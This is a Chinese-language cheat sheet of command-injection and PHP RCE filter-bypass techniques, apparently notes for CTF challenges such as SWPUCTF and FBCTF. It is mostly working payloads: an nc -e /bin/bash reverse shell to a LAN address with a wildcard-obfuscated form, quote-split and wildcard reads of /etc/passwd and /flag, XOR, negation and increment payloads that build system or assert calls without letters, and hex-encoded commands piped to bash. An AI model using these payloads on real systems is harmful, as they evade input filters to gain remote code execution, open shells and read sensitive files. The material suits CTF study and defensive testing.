绕过
一、通配符
符号 含义
? 匹配单个字符如果匹配多个字符,就需要多个?连用
" * " " * "代表任意数量的字符
[ ] 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个
在linux中也是可以利用通配符来进行模糊匹配的。就比如:
at /?tc/?as?wd
这样也是可以执行的。

Nc反弹shell:
nc -e /bin/bash 127.0.0.1 6666
nc -e /?in/b??h 192.168.0.108 6666

二、连接符
常见连接符:单双引号反斜杠 " " ‘ ’
如:/’b’i’n’/’c’a’t’ /’e’t’c’/’p’a’s’s’w’d

三、未初始化的变量绕过
未初始化的变量值都是null,例如a , a,a,b,在linux环境下输出都为null
cat$a /etc$a/passwd$a

管道符
管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A
空格过滤
以下可代替空格
< <> %20(即space)
%09(即tab) $IFS$9
反斜杠\绕过
//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /
取反绕过
//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
异或绕过
异或构造Python脚本
valid = "1234567890!@$%^*(){}[];’",.<>/?-=_`~ "
answer = input(‘输入异或构造的字符串:’)
tmp1, tmp2 = ”, ”
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(f’"{tmp1}"^"{tmp2}"’)
//异或php脚本
<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
echo '%ff';
?>
//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"
mess=$_="0302181"^"@[@[_^^";$_();
?>
自增绕过
//自增payload,assert($POST[]),命令传入_
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();
变量拼接绕过
如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
读取根目录
eval(var_dump(scandir(‘/’););
读flag
eval(var_dump(file_get_contents($_POST[‘a’])););&a=/flag
反引号绕过
//等效于打开ls目录下的文件
cat ls
_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可
php标签绕过
?><?= phpinfo(); ?>
base和hex编码绕过
//base64编码绕过,编码cat /flag,反引号、| bash、
//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo ‘636174202f666c6167’ | xxd -r -p | bash
//shellcode编码
//十六进制编码
正则匹配绕过
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
引号绕过
//如cat、ls被过滤
ca""t /flag
l’s’ /
cat替换命令
more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag
回溯绕过
//php正则的回溯次数大于1000000次时返回False
无回显RCE
//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(printc\at /flag😉
[[SWPUCTF 2021 新生赛finalrce]]
无参数RCE
利用getallheaders()、get_defined_vars()、session_id等;
无字母数字RCE
异或、取反、自增、临时文件上传;
[[SWPUCTF 2021 新生赛hardrce]]
环境变量绕过
cat命令还不行执行,都已经绕过了过滤。其实在没有限制的情况下命令还不能执行,只能是该命令被屏蔽了,但是使用其他查看文件的命令也都不可以。
那可能就是环境变量被更改了,需要使用命令的绝对路径来执行,也就是/bin/cat。再次构建paylaod{%0a"cmd":"/bin/cat%20index.php"%0a}。成功回显了文件内容。
{%0a"cmd":"/bin/cat%20index.php"%0a}
/bin/cat=cat
[[FBCTF2019RCEService]]
preg_match过滤函数绕过
既然存在过滤,多半碰到的函数都是preg_match,该函数可以通过换行符%0a和数组进行绕过,因为该函数只会匹配第一行数据,除非设置了参数。所以默认为preg_match函数过滤,构建
paylaod:
{%0a"cmd":"cat%20index.php"%0a}
[[FBCTF2019RCEService]]
或者进行闭合绕过
如:?cmd=111);//